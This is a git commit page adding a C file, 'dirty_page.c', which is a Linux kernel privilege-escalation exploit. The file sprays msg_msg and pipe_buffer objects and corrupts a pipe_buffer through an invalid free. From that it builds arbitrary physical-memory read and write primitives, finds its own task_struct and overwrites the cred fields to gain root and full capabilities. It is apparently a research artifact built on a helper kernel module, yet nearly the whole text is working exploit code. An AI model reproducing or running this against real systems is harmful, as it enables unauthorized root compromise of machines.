added artifacts
This commit is contained in:
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cb794602ee
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35 changed files with 6394 additions and 0 deletions
433
artifacts/attacks/dirty_page.c
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433
artifacts/attacks/dirty_page.c
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#include "utils.h"
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#include "ulkm.h"
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#include "msg_msg.h"
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#include "pipe_buffer.h"
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#include <sys/syscall.h>
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#include <sys/mman.h>
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#include <pthread.h>
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#include <assert.h>
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#define _GNU_SOURCE
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#include <unistd.h>
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#include <fcntl.h>
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#define ANON_PIPE_BUF_OPS_OFFSET 0x1648cc0
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// #define DEBUG
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#define RESTORE
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#define TASK_STRUCT_SLAB_ORDER 3
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#define TASK_STRUCT_SIZE 10496
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#define TASK_STRUCT_COMM_OFFSET 3008
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#define TASK_STRUCT_PID_OFFSET 2464
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#define TASK_STRUCT_TGID_OFFSET 2468
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#define TASK_STRUCT_REAL_CRED_OFFSET 2984
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#define TASK_STRUCT_CRED_OFFSET 2992
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#define CRED_UID_GID_OFFSET 8
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#define CRED_SUID_SGID_OFFSET 16
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#define CRED_EUID_EGID_OFFSET 24
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#define CRED_FSUID_FSGID_OFFSET 32
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#define CRED_CAP_INHERITABLE_OFFSET 48
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#define CRED_CAP_PERMITTED_OFFSET 56
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#define CRED_CAP_EFFECTIVE_OFFSET 64
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#define CRED_CAP_BSET_OFFSET 72
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#define CRED_CAP_AMBIENT_OFFSET 80
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#define PAGE_SIZE (1<<12)
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#define OBJ_PER_SLAB 42
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#define MSG_SPRAYS (OBJ_PER_SLAB*40)
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#define MSG_FREE (MSG_SPRAYS-2*OBJ_PER_SLAB)
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#define MSG_TYPE 0x41
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#define MSG_HEADER 48
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#define MSG_NEXT_HEADER 8
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#define __MSG_SIZE 96
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#define MSG_SIZE (__MSG_SIZE-MSG_HEADER)
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#define MSG_SPRAYS2 (OBJ_PER_SLAB*4)
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#define MSG_TYPE2 0x42
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#define __MSG_SIZE2 (4096+__MSG_SIZE)
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#define MSG_SIZE2 (__MSG_SIZE2-MSG_HEADER-MSG_NEXT_HEADER)
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#define PIPE_SPRAY (OBJ_PER_SLAB*4)
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#define PIPE_SIZE 40
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#define PIPE_CNT 1
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int qids[MSG_SPRAYS];
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int qids2[MSG_SPRAYS2];
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size_t overlayed_id = -1;
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size_t vmemmap_base;
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size_t dpm_base;
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size_t code_base;
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size_t msg_msg;
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char buffer[0x2000];
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char page_content[sizeof(buffer)];
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char page_content_org[sizeof(buffer)];
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int pipes[PIPE_SPRAY][2];
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void cleanup(void)
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{
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printf("[*] cleanup\n");
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for (size_t i = 0; i < MSG_SPRAYS; ++i)
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cleanup_queue(qids[i]);
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for (size_t i = 0; i < MSG_SPRAYS2; ++i)
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if (i != overlayed_id)
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cleanup_queue_no_err(qids2[i]);
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}
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size_t pipe_buffer;
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void stage1(void)
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{
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msg *message = (msg *)buffer;
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message->mtype = MSG_TYPE;
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printf("[*] alloc msg_queue\n");
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for (size_t i = 0; i < MSG_SPRAYS; ++i)
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qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
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printf("[*] alloc msg_msg\n");
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for (size_t i = 0; i < MSG_SPRAYS; ++i)
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send_msg(qids[i], message, MSG_SIZE, 0);
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lkm_msg_msg_leak((size_t)&msg_msg, qids[MSG_FREE], MSG_TYPE);
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printf("[+] leaked msg_msg %016zx\n", msg_msg);
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printf("[*] free msg_msg\n");
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memset(buffer, 0x41, sizeof(buffer));
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// free all all but 1 of the current slab
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// creates all free slots on the slot except one
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// except one because to prevent returning the partial slab to the page allocator (unlikely but may be)
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for (ssize_t i = -OBJ_PER_SLAB*2; i < OBJ_PER_SLAB; ++i)
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get_msg(qids[MSG_FREE+i], message, MSG_SIZE, 0, IPC_NOWAIT);
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for (size_t i = 0; i < PIPE_SPRAY; ++i) {
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alloc_pipes(pipes[i], O_NONBLOCK);
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resize_pipe(pipes[i][0], 2);
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write_pipe(pipes[i][1], buffer, 8);
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}
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printf("[*] reclaimed as pipe_buffer\n");
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pipe_buffer = (msg_msg & ~0xfff) + __MSG_SIZE;
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printf("[+] pipe_buffer %016zx\n", pipe_buffer);
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#ifdef DEBUG
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printf("[*] pipe_buffer:\n");
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for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
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size_t tmp;
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lkm_read(pipe_buffer+i, (size_t)&tmp);
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printf("%016zx\n", tmp);
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}
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#endif
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}
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size_t adjacent_pipe_buffer;
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size_t vmemmap_pipe_buffer;
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#ifdef RESTORE
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char pipe_buffer_old_content[PIPE_SIZE];
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void save_pipe_buffer_state(void)
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{
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for (size_t i = 0; i < PIPE_SIZE; i += 8)
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lkm_read(pipe_buffer+i, (size_t)&pipe_buffer_old_content[i]);
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printf("[*] temporarily store pipe_buffer content\n");
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}
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void restore_pipe_buffer_state(void)
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{
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for (size_t i = 0; i < PIPE_SIZE; i += 8)
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lkm_write(pipe_buffer+i, *(size_t *)(pipe_buffer_old_content + i));
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printf("[*] store old pipe_buffer content\n");
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}
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#else
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void save_pipe_buffer_state(void) {}
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void restore_pipe_buffer_state(void) {}
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#endif
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struct pipe_buffer {
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size_t page;
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unsigned int len;
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unsigned int offset;
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size_t ops;
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unsigned int flags;
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size_t private;
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};
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#define PHYS_TO_VMEMMAP(x) ((((x) >> 12) << 6) + vmemmap_base)
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#define DPM_TO_VMEMMAP(x) PHYS_TO_VMEMMAP((x) - dpm_base)
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void stage2(void)
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{
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vmemmap_pipe_buffer = DPM_TO_VMEMMAP(pipe_buffer);
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save_pipe_buffer_state();
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memset(buffer, 0x42, sizeof(buffer));
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msg *message = (msg *)buffer;
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message->mtype = MSG_TYPE2;
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printf("[*] alloc queues for reclaiming invalid free\n");
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for (size_t i = 0; i < MSG_SPRAYS2; ++i)
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qids2[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
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printf("[*] invalid free at %016zx\n", pipe_buffer-8);
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lkm_arb_free(pipe_buffer-8);
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printf("[*] overwrite pipe_buffer->page with %016zx\n", vmemmap_pipe_buffer);
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struct pipe_buffer *corr_pipe_buffer = (struct pipe_buffer *)(buffer + 8 + 4096 - MSG_HEADER);
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memset(corr_pipe_buffer, 0, sizeof(struct pipe_buffer));
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corr_pipe_buffer->page = vmemmap_pipe_buffer;
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corr_pipe_buffer->offset = 8;
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corr_pipe_buffer->len = __MSG_SIZE;
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corr_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
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corr_pipe_buffer->flags = 0x10;
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for (size_t i = 0; i < MSG_SPRAYS2; ++i)
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send_msg(qids2[i], message, MSG_SIZE2, 0);
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#ifdef DEBUG
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printf("[*] pipe_buffer:\n");
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for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
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size_t tmp;
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lkm_read(pipe_buffer+i, (size_t)&tmp);
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printf("%016zx\n", tmp);
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}
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#endif
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}
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#define IS_VMEMMAP(x) (((x) & ~((1<<30)-1)) == vmemmap_base)
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size_t page_fd = -1;
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void stage3(void)
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{
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size_t count = 0;
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printf("[*] find overwritten pipe_buffer\n");
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for (size_t i = 0; i < PIPE_SPRAY; ++i) {
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memset(buffer, 0, sizeof(buffer));
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read_pipe(pipes[i][0], buffer, 7);
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if (buffer[0] != 0x41) {
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buffer[7] = -1;
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count++;
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page_fd = i;
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printf("[+] found pipe_buffer fd %4zd\n", page_fd);
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if (IS_VMEMMAP(*(size_t *)(buffer))) {
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printf("[+] found page %016zx\n", *(size_t *)(buffer));
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continue;
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}
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}
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}
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if (page_fd == (size_t)-1 || count != 1) {
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printf("[!] count %zd\n", count);
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printf("[!] page_fd %016zx\n", page_fd);
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restore_pipe_buffer_state();
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exit(-1);
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}
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printf("[*] find msg_msg that overlays the corrupted pipe_buffer\n");
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for (size_t i = 0; i < MSG_SPRAYS2; ++i) {
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get_msg(qids2[i], buffer, MSG_SIZE2, 0, MSG_COPY|IPC_NOWAIT);
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struct pipe_buffer *corr_pipe_buffer = (struct pipe_buffer *)(buffer + 8 + 4096 - MSG_HEADER);
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if (corr_pipe_buffer->offset != 8 || corr_pipe_buffer->len != __MSG_SIZE) {
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printf("[+] found overlayed msg_msg %zd\n", i);
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overlayed_id = i;
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}
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}
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}
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// write from the &len to &private of the next
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#define PIPE_OFFSET (__MSG_SIZE+PIPE_SIZE-8)
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size_t arbrw_fd = -1;
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void stage4(void)
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{
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memset(buffer, 0x41, sizeof(buffer));
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for (size_t i = 0; i < PIPE_SPRAY; ++i) {
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if (i == page_fd)
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continue;
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write_pipe(pipes[i][1], buffer, 8);
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}
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#ifdef DEBUG
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printf("[*] pipe_buffer %016zx %016zx:\n", pipe_buffer, DPM_TO_VMEMMAP(pipe_buffer));
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for (size_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
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size_t tmp;
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lkm_read(pipe_buffer+i, (size_t)&tmp);
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printf("%016zx\n", tmp);
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}
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#endif
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memset(buffer, 0, sizeof(buffer));
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struct pipe_buffer *cor_pipe_buffer = (struct pipe_buffer *)buffer;
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struct pipe_buffer *next_cor_pipe_buffer = (struct pipe_buffer *)(buffer+__MSG_SIZE);
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cor_pipe_buffer->len = 8+__MSG_SIZE;
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cor_pipe_buffer->offset = -PIPE_OFFSET;
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cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
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cor_pipe_buffer->flags = 0x10;
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next_cor_pipe_buffer->page = vmemmap_base;
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next_cor_pipe_buffer->len = 0;
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next_cor_pipe_buffer->offset = PAGE_SIZE;
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next_cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
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next_cor_pipe_buffer->flags = 0x10;
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write_pipe(pipes[page_fd][1], buffer+8, PIPE_OFFSET);
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#ifdef DEBUG
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printf("[*] pipe_buffer %016zx %016zx:\n", pipe_buffer, DPM_TO_VMEMMAP(pipe_buffer));
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for (size_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
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size_t tmp;
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lkm_read(pipe_buffer+i, (size_t)&tmp);
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printf("%016zx\n", tmp);
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}
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#endif
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for (size_t i = 0; i < PIPE_SPRAY; ++i) {
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if (i == page_fd)
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continue;
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memset(buffer, 0x41, sizeof(buffer));
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read_pipe(pipes[i][0], buffer, 8);
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if (buffer[1] != 0x41) {
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printf("[*] *buffer %016zx\n", *(size_t *)buffer);
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arbrw_fd = i;
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printf("[+] found pipe_buffer fd for arbrw %4zd\n", arbrw_fd);
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}
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}
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if (arbrw_fd == (size_t)-1) {
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printf("[!] arbrw_fd not found\n");
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exit(-1);
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}
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}
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void arbr_phys(size_t paddr, size_t *addr)
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{
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memset(buffer, 0, sizeof(buffer));
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struct pipe_buffer *cor_pipe_buffer = (struct pipe_buffer *)buffer;
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struct pipe_buffer *next_cor_pipe_buffer = (struct pipe_buffer *)(buffer+__MSG_SIZE);
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cor_pipe_buffer->len = 8+__MSG_SIZE;
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cor_pipe_buffer->offset = -PIPE_OFFSET;
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cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
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cor_pipe_buffer->flags = 0x10;
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next_cor_pipe_buffer->page = PHYS_TO_VMEMMAP(paddr);
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next_cor_pipe_buffer->len = paddr % PAGE_SIZE;
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next_cor_pipe_buffer->offset = PAGE_SIZE;
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next_cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
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next_cor_pipe_buffer->flags = 0x10;
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write_pipe_no_err(pipes[page_fd][1], buffer+8, PIPE_OFFSET);
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read_pipe_no_err(pipes[arbrw_fd][0], (char *)addr, 8);
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}
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void arbw_phys(size_t paddr, size_t value)
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{
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memset(buffer, 0, sizeof(buffer));
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struct pipe_buffer *cor_pipe_buffer = (struct pipe_buffer *)buffer;
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struct pipe_buffer *next_cor_pipe_buffer = (struct pipe_buffer *)(buffer+__MSG_SIZE);
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cor_pipe_buffer->len = 8+__MSG_SIZE;
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cor_pipe_buffer->offset = -PIPE_OFFSET;
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cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
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cor_pipe_buffer->flags = 0x10;
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next_cor_pipe_buffer->page = PHYS_TO_VMEMMAP(paddr);
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next_cor_pipe_buffer->len = 0;
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next_cor_pipe_buffer->offset = paddr % PAGE_SIZE;
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next_cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
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next_cor_pipe_buffer->flags = 0x10;
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write_pipe_no_err(pipes[page_fd][1], buffer+8, PIPE_OFFSET);
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write_pipe_no_err(pipes[arbrw_fd][1], (char *)&value, 8);
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}
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void stage5(void)
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{
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char this_comm[256] = {0};
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int fd = open("/proc/self/comm", O_RDONLY);
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int n = read(fd, this_comm, sizeof(this_comm)-1);
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this_comm[n-1] = 0;
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unsigned int this_pid = getpid();
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unsigned int this_gtid = gettid();
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printf("[*] this process %s [%d,%d]\n", this_comm, this_pid, this_gtid);
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size_t p_current = 0;
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for (size_t pa = 0; pa < (32ULL << 30) && p_current == 0; pa += (PAGE_SIZE << TASK_STRUCT_SLAB_ORDER)) {
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for (size_t _pa = pa; _pa < pa + (PAGE_SIZE << TASK_STRUCT_SLAB_ORDER) && p_current == 0; _pa += TASK_STRUCT_SIZE) {
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char comm[9] = {0};
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size_t potential_task_struct_comm = _pa + TASK_STRUCT_COMM_OFFSET;
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// printf("[*] _pa %016zx\n", _pa);
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arbr_phys(potential_task_struct_comm, (size_t *)comm);
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if (!strncmp(comm, this_comm, 8)) {
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size_t tmp;
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unsigned int pid;
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size_t potential_task_struct_pid = _pa + TASK_STRUCT_PID_OFFSET;
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arbr_phys(potential_task_struct_pid, (size_t *)&tmp);
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pid = (unsigned int)tmp;
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unsigned int gtid;
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size_t potential_task_struct_tgid = _pa + TASK_STRUCT_TGID_OFFSET;
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arbr_phys(potential_task_struct_tgid, (size_t *)&tmp);
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gtid = (unsigned int)tmp;
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if (pid != this_pid || gtid != this_gtid) {
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// printf("[*] same comm %s but different [%d,%d] != [%d,%d]\n", comm, pid, gtid, this_pid, this_gtid);
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continue;
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}
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p_current = _pa;
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printf("[+] found %s [%d,%d] at %016zx\n", comm, pid, gtid, p_current+dpm_base);
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}
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}
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}
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size_t cred;
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arbr_phys(p_current+TASK_STRUCT_CRED_OFFSET, (size_t *)&cred);
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printf("[+] found cred %016zx\n", cred);
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size_t p_cred = cred-dpm_base;
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arbw_phys(p_cred+CRED_UID_GID_OFFSET, 0);
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arbw_phys(p_cred+CRED_SUID_SGID_OFFSET, 0);
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arbw_phys(p_cred+CRED_EUID_EGID_OFFSET, 0);
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arbw_phys(p_cred+CRED_FSUID_FSGID_OFFSET, 0);
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arbw_phys(p_cred+CRED_CAP_INHERITABLE_OFFSET, -1);
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arbw_phys(p_cred+CRED_CAP_PERMITTED_OFFSET, -1);
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arbw_phys(p_cred+CRED_CAP_EFFECTIVE_OFFSET, -1);
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arbw_phys(p_cred+CRED_CAP_BSET_OFFSET, -1);
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arbw_phys(p_cred+CRED_CAP_AMBIENT_OFFSET, -1);
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if (getuid() == 0 && getgid() == 0)
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printf("[+] success: uid %d gid %d\n", getuid(), getgid());
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else
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printf("[!] no success\n");
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// int ret = system("/bin/sh");
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// if (ret < 0) {
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// perror("system");
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// exit(-1);
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// }
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}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
int ret = 0;
|
||||
pin_to_core(0);
|
||||
set_limit();
|
||||
printf("[*] start\n");
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
|
||||
lkm_init();
|
||||
|
||||
lkm_vmemmap_leak((size_t)&vmemmap_base);
|
||||
lkm_dpm_leak((size_t)&dpm_base);
|
||||
lkm_code_leak((size_t)&code_base);
|
||||
printf("[*] vmemmap_base %016zx\n", vmemmap_base);
|
||||
printf("[*] dpm_base %016zx\n", dpm_base);
|
||||
printf("[*] code_base %016zx\n", code_base);
|
||||
|
||||
stage1();
|
||||
stage2();
|
||||
stage3();
|
||||
stage4();
|
||||
stage5();
|
||||
|
||||
cleanup();
|
||||
restore_pipe_buffer_state();
|
||||
printf("[*] done\n");
|
||||
return ret;
|
||||
}
|
Loading…
Add table
Add a link
Reference in a new issue